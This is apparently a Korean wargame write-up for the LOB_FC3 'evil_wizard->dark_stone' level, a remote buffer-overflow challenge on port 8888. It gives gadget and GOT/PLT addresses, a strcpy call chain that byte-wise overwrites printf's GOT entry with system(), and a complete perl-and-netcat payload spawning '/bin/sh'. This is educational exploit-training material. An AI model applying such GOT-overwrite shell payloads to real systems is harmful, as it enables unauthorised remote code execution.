본문 바로가기
Wargame/LOB_FC

[LOB_FC3] evil_wizard->dark_stone

by bbolmin 2012. 8. 18.

dark_stone.c의 소스는 아래와 같다.

 

 

 

취약 파일에 setuid 비트가 없다. 하지만 TCP 8888로 서비스를 제공하므로 리모트 어택을 하면 setuid는 신경쓰지 않아도 될 것이다. 따라서 remote 어택에서는 system()를 써도 무방하다.

 

 

printf의 got를 system함수로 overwrite해서 호출 하도록하자. (물론 overwrite는 strcpy call chain을 이용한다.)

 

 

필요한 몇가지를 구해보자.

 

- system()의 주소 : 0x7507c0

- print의 PLT : 0x8048408

- print GOT : 0x804984c

- pop-pop-ret : 0x080484f3 (문제에서 제공)

- strcpy의 PLT : 0x8048438

 


strcpy call chain 구성 : strcpy의 PLT | pop-pop-ret  print의 GOT | system주소를 가지는 값 으로 1byte씩 덮어서 system주소로 got overwrite한다.

 

"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4c\x98\x04\x08","1?",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4d\x98\x04\x08","2?",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4e\x98\x04\x08","3?",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4f\x98\x04\x08","4?"

 

 

이제 ?부분에 넣을 것을 system주소를 가지는 값을 구한다. (objdump -D로 찾음)

 

1: 0x80484d0 (0xc0)
2: 0x804817c (0x07)
3: 0x80486bf (0x75)
4: 0x80497f1 (0x00)

 

 

완성된 strcpy call chain :

"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4c\x98\x04\x08","\xd0\x84\x04\x08",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4d\x98\x04\x08","\x7c\x81\x04\x08",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4e\x98\x04\x08","\xbf\x86\x04\x08",
"\x38\x84\x04\x08\xf3\x84\x04\x08","\x4f\x98\x04\x08","\xf1\x97\x04\x08"

 

이제 뒤에 print의 PLT로 호출하고 "/bin/sh"를 인자로 넘겨주면 된다.

 

"/bin/sh"의 주소 : 0x833603

 

 

 

완성된 코드 :

(perl -e 'print "a"x268, "\x38\x84\x04\x08\xf3\x84\x04\x08","\x4c\x98\x04\x08","\xd0\x84\x04\x08","\x38\x84\x04\x08\xf3\x84\x04\x08","\x4d\x98\x04\x08","\x7c\x81\x04\x08","\x38\x84\x04\x08\xf3\x84\x04\x08","\x4e\x98\x04\x08","\xbf\x86\x04\x08","\x38\x84\x04\x08\xf3\x84\x04\x08","\x4f\x98\x04\x08","\xf1\x97\x04\x08", "\x08\x84\x04\x08","a"x4,"\x03\x36\x83\x00"';cat)|nc 127.0.0.1 8888

 

 

 

'Wargame > LOB_FC' 카테고리의 다른 글

[LOB_FC3] dark_eyes ->hell_fire  (0) 2014.07.12
[LOB_FC3] iron_golem -> dark_eyes  (0) 2014.07.12
[LOB_FC3] gate ->iron_golem  (0) 2014.07.05
[LOB_FC4] cruel -> enigma  (0) 2012.08.24
[LOB_FC4] dark_stone -> cruel  (0) 2012.08.20